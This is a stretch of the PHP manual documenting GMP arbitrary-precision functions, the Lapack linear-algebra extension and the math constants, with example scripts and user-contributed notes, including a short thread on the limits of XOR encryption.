gmp_rootrem

(PHP 5 >= 5.6.0)

gmp_rootrem — Take the integer part and remainder of nth root

Description

array gmp_rootrem ( GMP $a , int $nth )

Takes the nth root of a and returns the integer component and remainder of the result.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

nth

The positive root to take of a.

Return Values

A two element array, where the first element is the integer component of the root, and the second element is the remainder, both represented as GMP numbers.

User Contributed Notes

There are no user contributed notes for this page.


Scan for 0

  • « gmp_rootrem
  • gmp_scan1 »
  • PHP Manual
  • GMP Functions
  • Scan for 0

gmp_scan0

(PHP 4 >= 4.0.4, PHP 5)

gmp_scan0 — Scan for 0

Description

int gmp_scan0 ( GMP $a , int $start )

Scans a, starting with bit start, towards more significant bits, until the first clear bit is found.

Parameters

a

The number to scan.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

start

The starting bit.

Return Values

Returns the index of the found bit, as an integer. The index starts from 0.

Examples

Example #1 gmp_scan0() example

<?php
// "0" bit is found at position 3. index starts at 0
$s1 = gmp_init("10111", 2);
echo gmp_scan0($s1, 0) . "\n";

// "0" bit is found at position 7. index starts at 5
$s2 = gmp_init("101110000", 2);
echo gmp_scan0($s2, 5) . "\n";
?>

The above example will output:

3
7

User Contributed Notes

There are no user contributed notes for this page.


Scan for 1

  • « gmp_scan0
  • gmp_setbit »
  • PHP Manual
  • GMP Functions
  • Scan for 1

gmp_scan1

(PHP 4 >= 4.0.4, PHP 5)

gmp_scan1 — Scan for 1

Description

int gmp_scan1 ( GMP $a , int $start )

Scans a, starting with bit start, towards more significant bits, until the first set bit is found.

Parameters

a

The number to scan.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

start

The starting bit.

Return Values

Returns the index of the found bit, as an integer. If no set bit is found, -1 is returned.

Examples

Example #1 gmp_scan1() example

<?php
// "1" bit is found at position 3. index starts at 0
$s1 = gmp_init("01000", 2);
echo gmp_scan1($s1, 0) . "\n";

// "1" bit is found at position 9. index starts at 5
$s2 = gmp_init("01000001111", 2);
echo gmp_scan1($s2, 5) . "\n";
?>

The above example will output:

3
9

User Contributed Notes

There are no user contributed notes for this page.


Set bit

  • « gmp_scan1
  • gmp_sign »
  • PHP Manual
  • GMP Functions
  • Set bit

gmp_setbit

(PHP 4 >= 4.0.4, PHP 5)

gmp_setbit — Set bit

Description

void gmp_setbit ( GMP &$a , int $index [, bool $bit_on = true ] )

Sets bit index in a.

Parameters

a

The value to modify.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

index

The index of the bit to set. Index 0 represents the least significant bit.

bit_on

True to set the bit (set it to 1/on); false to clear the bit (set it to 0/off).

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_setbit() example - 0 index

<?php
$a = gmp_init("2"); //
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0); // 0b10 now becomes 0b11
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

The above example will output:

2 -> 0b10
3 -> 0b11

Example #2 gmp_setbit() example - 1 index

<?php
$a = gmp_init("0xfd");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 1); // index starts at 0
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

The above example will output:

253 -> 0b11111101
255 -> 0b11111111

Example #3 gmp_setbit() example - clearing a bit

<?php
$a = gmp_init("0xff");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0, false); // clear bit at index 0
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

The above example will output:

255 -> 0b11111111
254 -> 0b11111110

Notes

Note:

Unlike most of the other GMP functions, gmp_setbit() must be called with a GMP resource that already exists (using gmp_init() for example). One will not be automatically created.

See Also

  • gmp_clrbit() - Clear bit
  • gmp_testbit() - Tests if a bit is set

User Contributed Notes

bluej100@gmail 27-Jul-2007 06:07
The third parameter is somewhat confusingly named; it would probably be better described as "$set_state". If true, it sets the bit to 1. If false, it sets the bit to 0. Default is true.

<?php
$num = gmp_init(1);
gmp_setbit($num, 1);
echo 'gmp_setbit(1, 1): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 1, true);
echo 'gmp_setbit(1, 1, true): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 0, false);
echo 'gmp_setbit(1, 0, false): '.gmp_strval($num, 2)."\n"; // 0
?>


Sign of number

  • « gmp_setbit
  • gmp_sqrt »
  • PHP Manual
  • GMP Functions
  • Sign of number

gmp_sign

(PHP 4 >= 4.0.4, PHP 5)

gmp_sign — Sign of number

Description

int gmp_sign ( GMP $a )

Checks the sign of a number.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Returns 1 if a is positive, -1 if a is negative, and 0 if a is zero.

Examples

Example #1 gmp_sign() example

<?php
// positive
echo gmp_sign("500") . "\n";

// negative
echo gmp_sign("-500") . "\n";

// zero
echo gmp_sign("0") . "\n";
?>

The above example will output:

1
-1
0

See Also

  • gmp_abs() - Absolute value
  • abs() - Absolute value

User Contributed Notes

Andrew Martin 04-Oct-2014 12:11
Another way for those without GMP:

<?php
function sign($number) {
    return $number / abs($number ?: 1);
}
?>
gri501r at yandex dot ru 19-Sep-2014 09:00
May be it's bug :
     gmp_sign(1) returns 'false'
krees 03-Apr-2014 07:37
You can also do this:
<?php
$sign = min(1, max(-1, $a));
?>
thomas at zilliox dot me 21-Oct-2011 12:11
Hi !

If you don't have the GMP extension, the sign function is really simple to code.
Here an example of implementation :

<?php
function sign( $number ) {
    return ( $number > 0 ) ? 1 : ( ( $number < 0 ) ? -1 : 0 );
}

echo sign( 500 ); // Return 1
echo sign( -500 ); // Return -1
echo sign( 0 ); // Return 0
?>

Thomas.


Calculate square root

  • « gmp_sign
  • gmp_sqrtrem »
  • PHP Manual
  • GMP Functions
  • Calculate square root

gmp_sqrt

(PHP 4 >= 4.0.4, PHP 5)

gmp_sqrt — Calculate square root

Description

GMP gmp_sqrt ( GMP $a )

Calculates square root of a.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

The integer portion of the square root, as a GMP number.

Examples

Example #1 gmp_sqrt() example

<?php
$sqrt1 = gmp_sqrt("9");
$sqrt2 = gmp_sqrt("7");
$sqrt3 = gmp_sqrt("1524157875019052100");

echo gmp_strval($sqrt1) . "\n";
echo gmp_strval($sqrt2) . "\n";
echo gmp_strval($sqrt3) . "\n";
?>

The above example will output:

3
2
1234567890

User Contributed Notes

There are no user contributed notes for this page.


Square root with remainder

  • « gmp_sqrt
  • gmp_strval »
  • PHP Manual
  • GMP Functions
  • Square root with remainder

gmp_sqrtrem

(PHP 4 >= 4.0.4, PHP 5)

gmp_sqrtrem — Square root with remainder

Description

array gmp_sqrtrem ( GMP $a )

Calculate the square root of a number, with remainder.

Parameters

a

The number being square rooted.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

Returns array where first element is the integer square root of a and the second is the remainder (i.e., the difference between a and the first element squared).

Examples

Example #1 gmp_sqrtrem() example

<?php
list($sqrt1, $sqrt1rem) = gmp_sqrtrem("9");
list($sqrt2, $sqrt2rem) = gmp_sqrtrem("7");
list($sqrt3, $sqrt3rem) = gmp_sqrtrem("1048576");

echo gmp_strval($sqrt1) . ", " . gmp_strval($sqrt1rem) . "\n";
echo gmp_strval($sqrt2) . ", " . gmp_strval($sqrt2rem) . "\n";
echo gmp_strval($sqrt3) . ", " . gmp_strval($sqrt3rem) . "\n";
?>

The above example will output:

3, 0
2, 3
1024, 0

User Contributed Notes

There are no user contributed notes for this page.


Convert GMP number to string

  • « gmp_sqrtrem
  • gmp_sub »
  • PHP Manual
  • GMP Functions
  • Convert GMP number to string

gmp_strval

(PHP 4 >= 4.0.4, PHP 5)

gmp_strval — Convert GMP number to string

Description

string gmp_strval ( GMP $gmpnumber [, int $base = 10 ] )

Convert GMP number to string representation in base base. The default base is 10.

Parameters

gmpnumber

The GMP number that will be converted to a string.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

base

The base of the returned number. The default base is 10. Allowed values for the base are from 2 to 62 and -2 to -36.

Return Values

The number, as a string.

Changelog

Version | Description
5.3.2 | The base was extended from 2 to 36, to 2 to 62 and -2 to -36.

Notes

Note:

To use the extended base introduced in PHP 5.3.2, then PHP must be compiled against GMP 4.2.0 or greater.

Examples

Example #1 Converting a GMP number to a string

<?php
$a = gmp_init("0x41682179fbf5");
printf("Decimal: %s, 36-based: %s", gmp_strval($a), gmp_strval($a,36));
?>

User Contributed Notes

russell dot s dot harper at gmail dot com 26-May-2010 07:22
A gotcha when using the value from gmp_strval as a key in an associative array. Some numbers are 2^31 are converted to signed integer format, this is usually incorrect.

<?php

$a = gmp_init('2147483649'); // = 2^31 + 1
$b = gmp_init('3173604585'); // = 2^31 < $b < 2^32

$c = gmp_strval($a);
$d = gmp_strval($b);

$e = array($c => 'c', $d => 'd');

print '*** Expect '."\n";
print 'Array '."\n".'('."\n".'    ['.$c.'] => c'."\n".'    ['.$d.'] => d'."\n".')'."\n\n";
print '*** Actual '."\n";
print_r($e);

?>

Output:

*** Expect
Array
(
    [2147483649] => c
    [3173604585] => d
)

*** Actual
Array
(
    [-2147483647] => c
    [3173604585] => d
)

A workaround is to format as base 16 and append '0x' before using as a key.
php at richardneill dot org 20-Sep-2006 01:47
I think it's no longer necessary to worry about trailing nulls. This was fixed in Feb 2002 (see bug 10133)
caldwell at utm dot NoSpamPlease dot edu 22-Jul-2001 05:17
Warning: gmp_strval may return a null terminated string (e.g., gmp_strval(gmp_init(8)) has two characters. This is because gmp is built for speed, so uses estimates based on things it can get quickly, like the number of bits in N. So since 8 is a 4 bit number, it will be allocated ceil(log10(2^4))=ceil(4*0.30103....) = 2 characters. The gmp folks feel it is the caller's responsibility (in this case the PHP interface) to check whether or not all the characters were required.  PHP might have done this for us (and may in the future), but for now, you need to check (if it matters to you--it sure did in my program!).


Subtract numbers

  • « gmp_strval
  • gmp_testbit »
  • PHP Manual
  • GMP Functions
  • Subtract numbers

gmp_sub

(PHP 4 >= 4.0.4, PHP 5)

gmp_sub — Subtract numbers

Description

GMP gmp_sub ( GMP $a , GMP $b )

Subtracts b from a and returns the result.

Parameters

a

The number being subtracted from.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

The number subtracted from a.

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_sub() example

<?php
$sub = gmp_sub("281474976710656", "4294967296"); // 2^48 - 2^32
echo gmp_strval($sub) . "\n";
?>

The above example will output:

281470681743360

User Contributed Notes

There are no user contributed notes for this page.


Tests if a bit is set

  • « gmp_sub
  • gmp_xor »
  • PHP Manual
  • GMP Functions
  • Tests if a bit is set

gmp_testbit

(PHP 5 >= 5.3.0)

gmp_testbit — Tests if a bit is set

Description

bool gmp_testbit ( GMP $a , int $index )

Tests if the specified bit is set.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

index

The bit to test

Return Values

Returns TRUE if the bit is set in resource $a, otherwise FALSE.

Errors/Exceptions

An E_WARNING level error is issued when index is less than zero, and FALSE is returned.

Examples

Example #1 gmp_testbit() example

<?php
$n = gmp_init("1000000");
var_dump(gmp_testbit($n, 1));
gmp_setbit($n, 1);
var_dump(gmp_testbit($n, 1));
?>

The above example will output:

bool(false)
bool(true)

See Also

  • gmp_setbit() - Set bit
  • gmp_clrbit() - Clear bit

User Contributed Notes

bluej100@gmail 19-Jul-2007 11:48
gmp_testbit will be very useful for my (over 64-bit) bitmask checking.

In the meantime, I think these are the best replacements.

Mostly full:

<?php
(gmp_scan1($a, $index) == $index)
?>

Mostly empty:

<?php
(gmp_scan0($a, $index) != $index)
?>

Still worst-case O(N), though.


Bitwise XOR

  • « gmp_testbit
  • GMP »
  • PHP Manual
  • GMP Functions
  • Bitwise XOR

gmp_xor

(PHP 4 >= 4.0.4, PHP 5)

gmp_xor — Bitwise XOR

Description

GMP gmp_xor ( GMP $a , GMP $b )

Calculates bitwise exclusive OR (XOR) of two GMP numbers.

Parameters

a

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

b

Either a GMP number resource in PHP 5.5 and earlier, a GMP object in PHP 5.6 and later, or a numeric string provided that it is possible to convert the latter to a number.

Return Values

A GMP number resource in PHP 5.5 and earlier, or a GMP object in PHP 5.6 and later.

Examples

Example #1 gmp_xor() example

<?php
$xor1 = gmp_init("1101101110011101", 2);
$xor2 = gmp_init("0110011001011001", 2);

$xor3 = gmp_xor($xor1, $xor2);

echo gmp_strval($xor3, 2) . "\n";
?>

The above example will output:

1011110111000100

User Contributed Notes

greenone 02-Jul-2008 09:26
here's a fast alternative to compute the xor-value of two bitstrings of an arbitrary (but same) length.

<?php
/**
 * xor-op for bitstrings of arbitrary length
 * bitstrings must have same length
 *
 * @param string $o1
 * @param string $o2
 * @return string
 */
function bitxor($o1, $o2) {
    $xorWidth = PHP_INT_SIZE*8;
    $o1 = str_split($o1, $xorWidth);
    $o2 = str_split($o2, $xorWidth);
    $res = '';
    $runs = count($o1);
    for($i=0;$i<$runs;$i++)
        $res .= decbin(bindec($o1[$i]) ^ bindec($o2[$i]));
    return $res;
}
?>
kimcbrowne at hotmail dot com 04-Oct-2005 04:48
To be unbreakable XOR encryption must have a key that is totally random and is never re-used.  If you use a key a second time, it can be broken.  This can be confirmed by reading the page at http://en.wikipedia.org/wiki/One-time_pad.

Although I am not an expert on cryptography, I understand that decyphering involves recognizing patterns and that it would be possible to decrypt code that was encoded using XOR with the same key if there were enough samples to examine.  Maintaining unique keys for each encryption at both encryption and decryption points to ensure 100 percent unbreakability has security problems of its own - where and how are the keys stored and how are they transmitted to the decryption points?
bukaj at bukaj dot net 29-Mar-2005 02:38
XOR encryption is an ultimate encryption algorithm. It can't be be broken. It is used to encrypt stealth submarine's orders. I cannot agree with "kid-sister" post below. If you use vast key (as long as encrypted message) which is random (space noise recorded on a cd), the encrypted message is also radnom - impossible to decrypt without key. Under those conditions, XOR is strongest encryption algorithm ever known.
patm at pureconnection dot net 08-Jan-2004 02:22
XOR encryption only works if the key is at liest the same size as the plaintext, and the key is perfectly random. And no, rand() is not perfectly random.
mikko at entris dot net 15-Jul-2002 11:33
The logical XOR can be used for encrypting data. Use resource A as your original text and resource B as the key. Be sure to use long enough key so that the key doesn't loop. Decryption works the same way, input encrypted text as res A and key as res B.


The GMP class

(PHP 5 >= 5.6.0)

Introduction

A GMP number. These objects support overloaded arithmetic, bitwise and comparison operators.

Note:

No object oriented interface is provided to manipulate GMP objects. Please use the procedural GMP API.

GMP implements Serializable {
}

User Contributed Notes

There are no user contributed notes for this page.


Lapack

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Lapack — The Lapack class
    • Lapack::eigenValues — This function returns the eigenvalues for a given square matrix
    • Lapack::identity — Return an identity matrix
    • Lapack::leastSquaresByFactorisation — Calculate the linear least squares solution of a matrix using QR factorisation
    • Lapack::leastSquaresBySVD — Solve the linear least squares problem, using SVD
    • Lapack::pseudoInverse — Calculate the inverse of a matrix
    • Lapack::singularValues — Calculated the singular values of a matrix
    • Lapack::solveLinearEquation — Solve a system of linear equations
  • LapackException — The LapackException class

User Contributed Notes

There are no user contributed notes for this page.


Introduction

LAPACK is written in Fortran 90 and provides routines for solving systems of simultaneous linear equations, least-squares solutions of linear systems of equations, eigenvalue problems, and singular value problems. This extension wraps the LAPACKE C bindings to allow access to several processes exposed by the library. Most functions work with arrays of arrays, representing rectangular matrices in row major order - so a two by two matrix [1 2; 3 4] would be array(array(1, 2), array(3, 4))

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Lapack requires the LAPACK and LAPACKE libraries.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Most distribution LAPACK packages do not include lapacke, so the easiest method is to build from source:

  svn co https://icl.cs.utk.edu/svn/lapack-dev/lapack/trunk lapack
  cd lapack
  mkdir build
  cd build
  cmake -D BUILD_SHARED_LIBS=ON -D LAPACKE=ON ../
  make
  sudo make install

User Contributed Notes

neel at bravenewtalent dot com 21-Mar-2012 12:06
To install on CentOS/RHEL you need blas and the latest version of cmake (at least 2.8)

sudo yum install blas blas-devel
wget http://www.cmake.org/files/v2.8/cmake-2.8.7.tar.gz #or latest version
tar xvf cmake-2.8.7.tar.gz
cd cmake-2.8.7.tar.gz
./configure
make
sudo make install

Then follow the above instructions
gordon at bravenewtalent dot com 20-Mar-2012 08:38
In order to install on ubuntu you will need the following libraries:

gfortran
liblapack-dev


The Lapack class

(PECL lapack >= 0.1.0)

Introduction

LAPACK is written in Fortran 90 and provides routines for solving systems of simultaneous linear equations, least-squares solutions of linear systems of equations, eigenvalue problems, and singular value problems. This extension wraps the LAPACKE C bindings to allow access to several processes exposed by the library. Most functions work with arrays of arrays, representing rectangular matrices in row major order - so a two by two matrix [1 2; 3 4] would be array(array(1, 2), array(3, 4)).

All of the functions are called statically, for example $eig = Lapack::eigenvalues($a);

Class synopsis

Lapack {
/* Methods */
public static array eigenValues ( array $a [, array $left [, array $right ]] )
public static array identity ( int $n )
public static array leastSquaresByFactorisation ( array $a , array $b )
public static array leastSquaresBySVD ( array $a , array $b )
public static array pseudoInverse ( array $a )
public static array singularValues ( array $a )
public static array solveLinearEquation ( array $a , array $b )
}

Table of Contents

  • Lapack::eigenValues — This function returns the eigenvalues for a given square matrix
  • Lapack::identity — Return an identity matrix
  • Lapack::leastSquaresByFactorisation — Calculate the linear least squares solution of a matrix using QR factorisation
  • Lapack::leastSquaresBySVD — Solve the linear least squares problem, using SVD
  • Lapack::pseudoInverse — Calculate the inverse of a matrix
  • Lapack::singularValues — Calculated the singular values of a matrix
  • Lapack::solveLinearEquation — Solve a system of linear equations

User Contributed Notes

There are no user contributed notes for this page.


This function returns the eigenvalues for a given square matrix

  • « Lapack
  • Lapack::identity »
  • PHP Manual
  • Lapack
  • This function returns the eigenvalues for a given square matrix

Lapack::eigenValues

(PECL lapack >= 0.1.0)

Lapack::eigenValues — This function returns the eigenvalues for a given square matrix

Description

public static array Lapack::eigenValues ( array $a [, array $left [, array $right ]] )

Calculate the eigenvalues for a square matrix, and optionally calculate the left and right eigenvectors.

Parameters

a

The matrix to calculate the eigenvalues for.

left

Optional parameter - if an array is passed here, it will be filled with the left eigenvectors

right

Optional parameter - if an array is passed here, it will be filled with the right eigenvectors

Return Values

Returns an array of arrays representing the eigenvalues for the array.

Examples

Example #1 Using Lapack::eigenValues():

<?php

 $a = array(
     array(-1.01,   0.86,  -4.60,  3.31,  -4.81  ),
     array( 3.98,   0.53,  -7.04,  5.29,   3.55  ),
     array( 3.30,   8.26,  -3.89,  8.20,  -1.51  ),
     array( 4.43,   4.96,  -7.66, -7.33,   6.18  ),
     array( 7.31,  -6.43,  -6.16,  2.47,   5.58  ),
 );

 $result = Lapack::eigenValues($a);

 ?>

User Contributed Notes

There are no user contributed notes for this page.


Return an identity matrix

  • « Lapack::eigenValues
  • Lapack::leastSquaresByFactorisation »
  • PHP Manual
  • Lapack
  • Return an identity matrix

Lapack::identity

(PECL lapack >= 0.1.0)

Lapack::identity — Return an identity matrix

Description

public static array Lapack::identity ( int $n )

Return a size n identity matrix

Parameters

n

The height and width of the identity matrix.

Return Values

Will return a an array of n arrays, each containing n entries. The diagonals of the matrix will be 1s, the other positions 0.

User Contributed Notes

There are no user contributed notes for this page.


Calculate the linear least squares solution of a matrix using QR factorisation

  • « Lapack::identity
  • Lapack::leastSquaresBySVD »
  • PHP Manual
  • Lapack
  • Calculate the linear least squares solution of a matrix using QR factorisation

Lapack::leastSquaresByFactorisation

(PECL lapack >= 0.1.0)

Lapack::leastSquaresByFactorisation — Calculate the linear least squares solution of a matrix using QR factorisation

Description

public static array Lapack::leastSquaresByFactorisation ( array $a , array $b )

Solve the linear least squares problem, find min x in || B - Ax || Returns an array representing x. Expects arrays of arrays, and will return an array of arrays in the dimension B num cols x A num cols. Uses QR or LQ factorisation on matrix A.

Parameters

a

Matrix A

b

Matrix B

Return Values

Array of the solution matrix

Examples

Example #1 Using Lapack::leastSquaresByFactorisation():

<?php

 $a = array(
     array( 1.44,  -7.84,  -4.39,   4.53),
     array(-9.96,  -0.28,  -3.24,   3.83),
     array(-7.55,   3.24,   6.27,  -6.64),
     array( 8.34,   8.09,   5.28,   2.06),
     array( 7.08,   2.52,   0.74,  -2.47),
     array(-5.45,  -5.70,  -1.19,   4.70),
 );

 $b = array(
     array( 8.58,   9.35),
     array( 8.26,  -4.43),
     array( 8.48,  -0.70),
     array(-5.28,  -0.26),
     array( 5.72,  -7.36),
     array( 8.93,  -2.52),
 );

 $result = Lapack::leastSquaresByFactorisation($a, $b);
 ?>

User Contributed Notes

There are no user contributed notes for this page.


Solve the linear least squares problem, using SVD

  • « Lapack::leastSquaresByFactorisation
  • Lapack::pseudoInverse »
  • PHP Manual
  • Lapack
  • Solve the linear least squares problem, using SVD

Lapack::leastSquaresBySVD

(PECL lapack >= 0.1.0)

Lapack::leastSquaresBySVD — Solve the linear least squares problem, using SVD

Description

public static array Lapack::leastSquaresBySVD ( array $a , array $b )

Solve the linear least squares problem, find min x in || B - Ax || Returns an array representing x. Expects arrays of arrays, and will return an array of arrays in the dimension B num cols x A num cols. Uses SVD with a divide and conquer algorithm.

Parameters

a

Matrix A

b

Matrix B

Return Values

Returns the solution as an array of arrays.

Examples

Example #1 Using Lapack::leastSquaresBySVD():

<?php

  $a = array(
      array( 1.44,  -7.84,  -4.39,   4.53),
      array(-9.96,  -0.28,  -3.24,   3.83),
      array(-7.55,   3.24,   6.27,  -6.64),
      array( 8.34,   8.09,   5.28,   2.06),
      array( 7.08,   2.52,   0.74,  -2.47),
      array(-5.45,  -5.70,  -1.19,   4.70),
  );

  $b = array(
      array( 8.58,   9.35),
      array( 8.26,  -4.43),
      array( 8.48,  -0.70),
      array(-5.28,  -0.26),
      array( 5.72,  -7.36),
      array( 8.93,  -2.52),
  );

  $result = Lapack::leastSquaresBySVD($a, $b);

  ?>

User Contributed Notes

There are no user contributed notes for this page.


Calculate the inverse of a matrix

  • « Lapack::leastSquaresBySVD
  • Lapack::singularValues »
  • PHP Manual
  • Lapack
  • Calculate the inverse of a matrix

Lapack::pseudoInverse

(PECL lapack >= 0.1.0)

Lapack::pseudoInverse — Calculate the inverse of a matrix

Description

public static array Lapack::pseudoInverse ( array $a )

Find the pseudoinverse of a matrix A.

Parameters

a

Matrix to invert

Return Values

Inverted matrix (array of arrays).

Examples

Example #1 Using Lapack::pseudoInverse():

<?php

   $a = array(
       array( 8, 1, 6 ),
       array( 3, 5, 7 ),
       array( 4, 9, 2 ),
   );

   $result = Lapack::pseudoInverse($a);

   ?>

User Contributed Notes

There are no user contributed notes for this page.


Calculated the singular values of a matrix

  • « Lapack::pseudoInverse
  • Lapack::solveLinearEquation »
  • PHP Manual
  • Lapack
  • Calculated the singular values of a matrix

Lapack::singularValues

(PECL lapack >= 0.1.0)

Lapack::singularValues — Calculated the singular values of a matrix

Description

public static array Lapack::singularValues ( array $a )

Calculate the singular values of the matrix A.

Parameters

a

The matrix to calculate the singular values for

Return Values

The singular values

Examples

Example #1 Using Lapack::singularValues():

<?php

    $a = array(
        array( 7.52,  -1.10,  -7.95,  1.08  ),
        array(-0.76,   0.62,   9.34, -7.10  ),
        array( 5.13,   6.62,  -5.66,  0.87  ),
        array(-4.75,   8.52,   5.75,  5.30  ),
        array( 1.33,   4.91,  -5.49, -3.52  ),
        array(-2.40,  -6.77,   2.34,  3.95  ),
    );

    $result = Lapack::singularValues($a);

    ?>

User Contributed Notes

There are no user contributed notes for this page.


Solve a system of linear equations

  • « Lapack::singularValues
  • LapackException »
  • PHP Manual
  • Lapack
  • Solve a system of linear equations

Lapack::solveLinearEquation

(PECL lapack >= 0.1.0)

Lapack::solveLinearEquation — Solve a system of linear equations

Description

public static array Lapack::solveLinearEquation ( array $a , array $b )

This function computes the solution to the system of linear equations with a square matrix A and multiple right-hand sides B. Solves A * X = B for multiple B.

Parameters

a

Square matrix of linear equations

b

Right hand side to be solved for

Return Values

Matrix X

Examples

Example #1 Using Lapack::singularValues():

<?php

    $a = array(
        array( 6.80,  -6.05,  -0.45,   8.32,  -9.67   ),
        array(-2.11,  -3.30,   2.58,   2.71,  -5.14   ),
        array( 5.66,   5.36,  -2.70,   4.35,  -7.26   ),
        array( 5.97,  -4.44,   0.27,  -7.17,   6.08   ),
        array( 8.23,   1.08,   9.04,   2.14,  -6.87   ),
    );

    $b = array(
       array(  4.02,  -1.56,   9.81   ),
       array(  6.19,   4.00,  -4.09   ),
       array( -8.22,  -8.67,  -4.57   ),
       array( -7.57,   1.75,  -8.61   ),
       array( -3.03,   2.86,   8.99   ),
    );

    $result = Lapack::solveLinearEquation($a, $b);

    ?>

User Contributed Notes

There are no user contributed notes for this page.


The LapackException class

(PECL lapack >= 0.1.0)

Introduction

Exception thrown when an error is caught in the LAPACK functions

Class synopsis

lapackexception extends Exception {
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

User Contributed Notes

There are no user contributed notes for this page.


Mathematical Functions

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Math Functions
    • abs — Absolute value
    • acos — Arc cosine
    • acosh — Inverse hyperbolic cosine
    • asin — Arc sine
    • asinh — Inverse hyperbolic sine
    • atan2 — Arc tangent of two variables
    • atan — Arc tangent
    • atanh — Inverse hyperbolic tangent
    • base_convert — Convert a number between arbitrary bases
    • bindec — Binary to decimal
    • ceil — Round fractions up
    • cos — Cosine
    • cosh — Hyperbolic cosine
    • decbin — Decimal to binary
    • dechex — Decimal to hexadecimal
    • decoct — Decimal to octal
    • deg2rad — Converts the number in degrees to the radian equivalent
    • exp — Calculates the exponent of e
    • expm1 — Returns exp(number) - 1, computed in a way that is accurate even when the value of number is close to zero
    • floor — Round fractions down
    • fmod — Returns the floating point remainder (modulo) of the division of the arguments
    • getrandmax — Show largest possible random value
    • hexdec — Hexadecimal to decimal
    • hypot — Calculate the length of the hypotenuse of a right-angle triangle
    • is_finite — Finds whether a value is a legal finite number
    • is_infinite — Finds whether a value is infinite
    • is_nan — Finds whether a value is not a number
    • lcg_value — Combined linear congruential generator
    • log10 — Base-10 logarithm
    • log1p — Returns log(1 + number), computed in a way that is accurate even when the value of number is close to zero
    • log — Natural logarithm
    • max — Find highest value
    • min — Find lowest value
    • mt_getrandmax — Show largest possible random value
    • mt_rand — Generate a better random value
    • mt_srand — Seed the better random number generator
    • octdec — Octal to decimal
    • pi — Get value of pi
    • pow — Exponential expression
    • rad2deg — Converts the radian number to the equivalent number in degrees
    • rand — Generate a random integer
    • round — Rounds a float
    • sin — Sine
    • sinh — Hyperbolic sine
    • sqrt — Square root
    • srand — Seed the random number generator
    • tan — Tangent
    • tanh — Hyperbolic tangent

User Contributed Notes

Hayley Watson 30-Jan-2013 04:47
Provides a function to rescale numbers so that the range [a,b] fits into the range [c,d].

<?php
function rescale($ab, $cd)
{
    list($a, $b) = $ab;
    list($c, $d) = $cd;
    if($a == $b)
    {
        trigger_error("Invalid scale", E_USER_WARNING);
        return false;
    }
    $o = ($b * $c - $a * $d) / ($b - $a);
    $s = ($d - $c) / ($b - $a);
    return function($x)use($o, $s)
    {
        return $s * $x + $o;
    };
}

$fahr2celsius = rescale([32, 212], [0, 100]);
echo  $fahr2celsius(98.6); // 37°C

?>


Introduction

These math functions will only handle values within the range of the integer and float types on your computer (this corresponds currently to the C types long resp. double). If you need to handle bigger numbers, take a look at the arbitrary precision math functions.

See also the manual page on arithmetic operators.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are always available as part of the PHP core.

Math constants
Constant | Value | Description | Availability
M_PI | 3.14159265358979323846 | Pi |
M_E | 2.7182818284590452354 | e |
M_LOG2E | 1.4426950408889634074 | log_2 e |
M_LOG10E | 0.43429448190325182765 | log_10 e |
M_LN2 | 0.69314718055994530942 | log_e 2 |
M_LN10 | 2.30258509299404568402 | log_e 10 |
M_PI_2 | 1.57079632679489661923 | pi/2 |
M_PI_4 | 0.78539816339744830962 | pi/4 |
M_1_PI | 0.31830988618379067154 | 1/pi |
M_2_PI | 0.63661977236758134308 | 2/pi |
M_SQRTPI | 1.77245385090551602729 | sqrt(pi) | PHP 5.2.0
